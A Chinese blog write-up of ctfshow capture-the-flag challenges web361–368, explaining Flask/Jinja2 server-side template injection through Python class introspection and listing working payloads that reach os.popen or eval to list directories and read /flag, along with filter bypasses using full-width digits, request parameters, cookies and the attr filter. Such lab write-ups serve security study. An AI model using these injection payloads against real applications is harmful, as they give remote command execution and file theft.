ctfshow-ssti


title: ctfshow_ssti
date: 2023-02-13 19:41:18
tags:

  • ssti
    categories:
  • ctfshow

ssti漏洞原理

ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。本文着重对flask模板注入进行浅析。

Python对象的继承,用魔术方法一步步找到可利用的方法去执行。即找到父类<type 'object'>–>寻找子类–>找关于命令执行或者文件操作的模块

继承就是让类和类之间产生父子关系,子类可以拥有父类的静态属性和方法。

这里的父类指的是被继承的类,也叫做基类;子类指的是继承其它类的类,也叫做派生类

如下定义一个动物类Animal为基类,

class Animal(object):  #  python3中所有类都可以继承于object基类
   def __init__(self, name, age):
       self.name = name
       self.age = age

   def call(self):
       print(self.name, '会叫')

######
# 现在我们需要定义一个Cat 猫类继承于Animal,猫类比动物类多一个sex属性。 
######
class Cat(Animal):
   def __init__(self,name,age,sex):
       super(Cat, self).__init__(name,age)  # 不要忘记从Animal类引入属性
       self.sex=sex

if __name__ == '__main__':  # 单模块被引用时下面代码不会受影响,用于调试
   c = Cat('喵喵', 2, '男')  #  Cat继承了父类Animal的属性
   c.call()  # 输出 喵喵 会叫 ,Cat继承了父类Animal的方法 

Python入门 class类的继承 - 知乎 (zhihu.com)

(11条消息) python执行cmd命令_python执行command_十一姐的博客-CSDN博客

[(11条消息) CTFshow刷题日记-WEB-SSTI(web361-372)_ctfshow ssti_OceanSec的博客-CSDN博客](https://blog.csdn.net/q20010619/article/details/120493997?ops_request_misc=%7B%22request%5Fid%22%3A%22167931156416782425190801%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fall.%22%7D&request_id=167931156416782425190801&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v1~hot_rank-6-120493997-null-null.142v74insert_down4,201v4add_ask,239v2insert_chatgpt&utm_term=ctfshow ssti&spm=1018.2226.3001.4187)

python命令执行

import os
import subprocess
print(os.system("python -V"))
print(os.popen("python -V").read())
print(subprocess.Popen("python -V"))
//运行结果
Python 3.11.1
0
Python 3.11.1

<Popen: returncode: None args: 'python -V'>
Python 3.11.1

1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)

https://xz.aliyun.com/t/3679

下面这一篇讲的比较详细

(18条消息) 细说Jinja2之SSTI&bypass_合天网安实验室的博客-CSDN博客

print("".__class__)
print("".__class__.__bases__)
print("".__class__.__mro__)
print("".__class__.__bases__[0].__subclasses__())
<class 'str'>
(<class 'object'>,)
(<class 'str'>, <class 'object'>)
{% ... %} for Statements

{{ ... }} for Expressions to print to the template output

{# ... #} for Comments not included in the template output

... ## for Line Statements

除了标准的python语法使用点(.)外,还可以使用中括号([])来访问变量的属性

{{"".__class__}}
{{""['__classs__']}}
__class__            类的一个内置属性,表示实例对象的类。
 
__base__             类型对象的直接基类
 
__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
 
__mro__              method resolution order,即解析方法调用的顺序;此属性是由类组成的元            组,在方法解析期间会基于它来查找基类。
 
__subclasses__()     返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
 
__init__             初始化类,返回的类型是function
 
__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
 
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
 
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
 
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
 
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
 
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
 
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
 
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
 
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
 
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
 
current_app          应用上下文,一个全局变量。
 
request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
 
request.args.x1   	 get传参
 
request.values.x1 	 所有参数
 
request.cookies      cookies参数
 
request.headers      请求头参数
 
request.form.x1   	 post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
 
request.data  		 post传参	(Content-Type:a/b)
 
request.json		 post传json  (Content-Type: application/json)
 
config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
 
g                    {{g}}得到<flask.g of 'flask_ssti'>

web361

import requests
from tqdm import tqdm
for i in tqdm(range(100,150)):
   url = 'http://f82b1c19-8976-4a74-b58d-2e878617e9e2.challenge.ctf.show/?name={{"".__class__.__mro__[1].__subclasses__()[{}]}}'.format(i)
   r = requests.get(url=url).text
   if('os._wrap_close' in r):
      print('yes')


#寻找os.warp_close类的位置
#tqdm 生成一个进度条
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}}

发现可用modle popen

解法一payload os.warp_close类 的popen 方法

?name={{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("ls ../").read()}}
?name={{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("cat /flag").read()}}

解法二 利用config

?name={{config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
?name={{config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}

解法3 lipsum.__globals__含有os模块:

?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}

解法4 利用__builtins__

GET:?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
 
或者
?name={{url_for.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")}}

2.builtins与__builtins__的区别

__builtins__是对builtins的一个引用。在任何地方使用builtins都必须import,
而使用__builtins__则不需要import。那这个引用指的是什么呢?下面分两种情况来解释:

__main__模块中

__main____builtins__与builtins是同一个东西,你可以通过这两个中的任意一个来
导入自己的函数。两者唯一的区别是__builtins__使用时不需要导入,而无论在那个模块中使
用builtins都必须先导入。

然后可以发现__builtins__下有eval,__import__等的函数,因此可以利用此来执行命令。

ctfshow{99a0b2c0-ac76-402f-8238-8cfbb73f1066}

web362

?name={{2}}

?name={{3}}发现23被过滤

不用2,3的payload还能用

可以全角数字代替正常数字

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)
#'0','1','2','3','4','5','6','7','8','9'
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web363 过滤了单双引号

上面的payload就都不能用了

?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__(%27os%27).popen(%27cat%20/flag%27).read()

request.args get传参

ctfshow{1803f0b8-6a20-4f34-bd8f-8d4657d94d39}

web364 过滤了单双引号,args

?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag

request.values 所有参数

ctfshow{6cdac67d-9b6a-424e-878b-4dd8e78c28e5}

web365过滤了引号,还有中括号

上题payload还能用

?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag

解法2

GET:?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag

ctfshow{22b48645-53eb-47f4-af42-d2302db22569}

web366 过滤了中括号,以及下划线

接着cookie传参

GET:?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
 
Cookie:a=__globals__;b=cat /flag

ctfshow{74f3def2-c2e3-467c-b365-c20a8e556fea}

web367

?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}

Cookie:a=__globals__;b=os;c=cat /flag

ctfshow{d5c90caf-0492-404a-988d-e85872f8bcac}

web368 {{}}绕过

?name={% print(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read() %}

Cookie:a=__globals__;b=os;c=cat /flag

ctfshow{3cc97e0d-ab90-45d5-9bbd-dae56a5eaa49}

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值